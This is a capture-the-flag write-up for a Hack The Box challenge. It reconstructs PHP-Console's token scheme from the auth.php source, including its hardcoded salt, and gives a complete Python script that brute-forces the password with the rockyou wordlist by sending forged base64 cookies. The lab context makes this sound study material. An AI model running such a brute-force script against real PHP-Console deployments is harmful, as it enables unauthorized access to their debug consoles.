Console

“Could you please check the console of your Chrome?”

Upon investigating the URL, it showed a php info status page which hinted to load php-console in order to be prompted for a password. At first I didn’t know what this meant until I read the hints about downloading a chrome extension.

Prior before knowing about the Chrome extension, I intercepted some HTTP requests to see what it looks like.

As you can see, nothing really interesting is found. Now if you used the PHP-Console extension, you see extra HTTP headers added to the HTTP request.

I noticed how the php-console-client cookie parameter was base64 encoded so I decoded it.

There we go, a token parameter is found. It’s starting to make some sense now of what I need to do. I thought about two questions, first is how can I generate a token? I know that the Chrome extension accepts a password for login but how would I streamline the process to brute force with a dictionary? The second question is, how is a token created? What data type is it using? Is it encrypted? The only way answer these questions is looking at the source code.

Looking at the source code of PHP-Console application, there is an interesting auth.php file that handles token generation.

<?php
	
namespace PhpConsole;
	
/**
* PHP Console client authorization credentials & validation class
*
* @package PhpConsole
* @version 3.1
* @link http://consle.com
* @author Sergey Barbushin http://linkedin.com/in/barbushin
* @copyright © Sergey Barbushin, 2011-2013. All rights reserved.
* @license http://www.opensource.org/licenses/BSD-3-Clause "The BSD 3-Clause License"
* @codeCoverageIgnore
*/
class Auth {
	
const PASSWORD_HASH_SALT = 'NeverChangeIt:)';
	
protected $publicKeyByIp;
protected $passwordHash;
	
/**
 * @param string $password Common password for all clients
 * @param bool $publicKeyByIp Set public key depending on client IP
 */
public function __construct($password, $publicKeyByIp = true) {
    $this->publicKeyByIp = $publicKeyByIp;
    $this->passwordHash = $this->getPasswordHash($password);
}
	
protected final function hash($string) {
    return hash('sha256', $string);
}
	
/**
 * Get password hash like on client
 * @param $password
 * @return string
 */
protected final function getPasswordHash($password) {
    return $this->hash($password . self::PASSWORD_HASH_SALT);
}
	
/**
 * Get authorization result data for client
 * @codeCoverageIgnore
 * @param ClientAuth|null $clientAuth
 * @return ServerAuthStatus
 */
public final function getServerAuthStatus(ClientAuth $clientAuth = null) {
    $serverAuthStatus = new ServerAuthStatus();
    $serverAuthStatus->publicKey = $this->getPublicKey();
    $serverAuthStatus->isSuccess = $clientAuth && $this->isValidAuth($clientAuth);
    return $serverAuthStatus;
}
	
/**
 * Check if client authorization data is valid
 * @codeCoverageIgnore
 * @param ClientAuth $clientAuth
 * @return bool
 */
public final function isValidAuth(ClientAuth $clientAuth) {
    return $clientAuth->publicKey === $this->getPublicKey() && $clientAuth->token === $this->getToken();
}
	
/**
 * Get client unique identification
 * @return string
 */
protected function getClientUid() {
    $clientUid = '';
    if($this->publicKeyByIp) {
        if(isset($_SERVER['REMOTE_ADDR'])) {
            $clientUid .= $_SERVER['REMOTE_ADDR'];
        }
        if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
            $clientUid .= $_SERVER['HTTP_X_FORWARDED_FOR'];
        }
    }
    return $clientUid;
}
	
/**
 * Get authorization session public key for current client
 * @return string
 */
protected function getPublicKey() {
    return $this->hash($this->getClientUid() . $this->passwordHash);
}
	
/**
 * Get string signature for current password & public key
 * @param $string
 * @return string
 */
public final function getSignature($string) {
    return $this->hash($this->passwordHash . $this->getPublicKey() . $string);
}
	
/**
 * Get expected valid client authorization token
 * @return string
 */
private final function getToken() {
    return $this->hash($this->passwordHash . $this->getPublicKey());
}
}

After reviewing the code, I figured out the token is salted and using sha256 to generate the token. It was a matter of creating a brute forcing python script to figure out what is the actual password to log into PHP-Console Chrome extension.

import requests
from hashlib import sha256
from base64 import b64encode
import json
	
url = "http://docker.hackthebox.eu:31828"
	
# publickey found in the PHP-Console HTTP header
publickey = "d1d58b2f732fd546d9507da275a71bddc0c2300a214af3f3f3a5f5f249fe275e"
	
# Open rockyou.txt file in read mode
file = open("./rockyou.txt","r")
	
# Create for loop to iterate through each entry in rockyou.txt
for x in range(1000):
   word = file.readline().strip()
	
   # For every line in rockyou.txt, append the salt to prepare to later create the hash
   password = word + "NeverChangeIt:)"
	
   # return hash('sha256', $string);
   # In the auth.php, it uses sha256 to create the hash using the string + salt.
   hash = sha256(password.encode()).hexdigest()
	
   # return $this->hash($this->passwordHash . $this->getPublicKey());
   # Also it uses the sha256 salted hash with the publickey to generate another sha256 hash for the token.
   token = sha256((hash + publickey).encode()).hexdigest()
	
   # Now start putting together the HTTP GET request starting with the HTTP header paramters
   phpconsoleclient = '{"php-console-client":5,"auth":{"publicKey":"d1d58b2f732fd546d9507da275a71bddc0c2300a214af3f3f3a5f5f249fe275e","token":"' + str(token) + '"}}'
	
   # The original GET request has encoded php-console-client into base64, this step is doing the same thing. The decode function changes the object type
   # from bytes to string.
   phpconsoleclient = b64encode(phpconsoleclient.encode()).decode()
	
   # Add all the cookies required in the original GET request.
   cookies = 'php-console-server=5; php-console-client=' + str(phpconsoleclient)
	
   # Create a python dictionary object to store the header parameters
   headers = { 'Cookie' : cookies }
	
   # Create HTTP GET request with url and HTTP headers
   r = requests.get(url, headers=headers)
	
   # Append php-console to the GET request HTTP header
   phpconsoleclient = r.headers['PHP-Console']
   phpconsoleclient = json.loads(phpconsoleclient)
	
   # Print the word in the current interation when isSuccess equals to True. This is the word that will allow access to PHP-Console chrome plugin.
   status = phpconsoleclient["auth"]["isSuccess"]
   if(status != False):
       print(word)
       break
	
# close rockyou.txt
file.close()

Running the python script will uncover the password and upon PHP-Console login, the flag can be found in the Chrome console.

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